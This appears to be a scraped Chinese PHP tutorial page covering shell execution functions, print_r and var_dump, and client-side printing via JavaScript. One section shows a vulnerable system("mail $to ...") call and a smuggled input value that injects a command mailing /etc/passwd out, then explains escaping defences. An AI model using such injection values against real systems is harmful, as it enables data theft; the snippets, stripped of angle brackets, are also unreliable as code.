php怎么在实现打印数据 php打印语句( 二 )


复制代码
代码如下:
?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看
要考虑两个问题:安全性和超时 。

看安全性 。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中 。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们 。假设你没有使用PHP的mail()函数(或者从未听说过) , 你就调用Linux/Unix系统的mail程序来发送这
个文件 。程序就象这样:
复制代码
代码如下:
?php
system("mail $to
products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞 。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com/etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com/etc/passwd ;products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来 。

好 , PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg() 。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义 。这些字符在Shell中是有特殊含义的,象分号(),重定向()和从文件读入
()等 。函数EscapeShellArg是用来处理命令的参数的 。它在给定的字符串两边加上单引号,并把字符串中的单引号转义 , 这样这个字符串
就可以安全地作为命令的参数 。
再来看看超时问题 。如果要执行的命令要花费很长的时间 , 那么应该把这个命令放到系统的后台去运
行 。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果) , 这肯定会引起PHP脚本的超时 。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:
复制代码
代码如下:
?php
system("/usr/local/bin/order_proc/tmp/null ");
?
php中怎么打印数组啊?php打印数组有两个函数:print_r()函数和var_dump()函数
!--{evalprint_r(xxxx)}-- 语法
1、print_r()函数
?php
$arr_test=array(1,2,3);
print_r($arr_test);
?
运行该例子输出:
Array( [0]=1[1]=2[2]=3)
2、var_dump()函数
?php
$arr_test=array(1,2,3);
var_dump($arr_test);
?
运行该例子输出:
array(3){ [0]=int(1)[1]=int(2)[2]=int(3)}
var_dump()函数同print_r()函数用法一样 。不过var_dump()函数功能比print_r()更强大,可以同时打印多个变量且给出变量的类型信息 。
扩展资料
print_r() 函数用于打印变量,以更容易理解的形式展示 。
PHP版本要求:PHP4,PHP5,PHP7
语法
boolprint_r(mixed$expression[,bool$return])
参数说明:
$expression:要打印的变量 , 如果给出的是string、integer或float类型变量 , 将打印变量值本身 。如果给出的是array,将会按照一定格式显示键和元素 。object与数组类似 。
$return:可?。绻猼rue则不输出结果 , 而是将结果赋值给一个变量,false则直接输出结果 。
返回值
$return 如果设为 true 才有返回值,为一个易于理解的字符串信息 。
如何php实现本地打印php 是在服务器端执行的 ,  无法直接调用客户端打印机, 要使用客户端本地打印 只能用php生成内容 用 javascript 来实现; 推荐使用jquery.printarea.js,插件 把要打印的内容用ajax放到一个div 然后打印这个div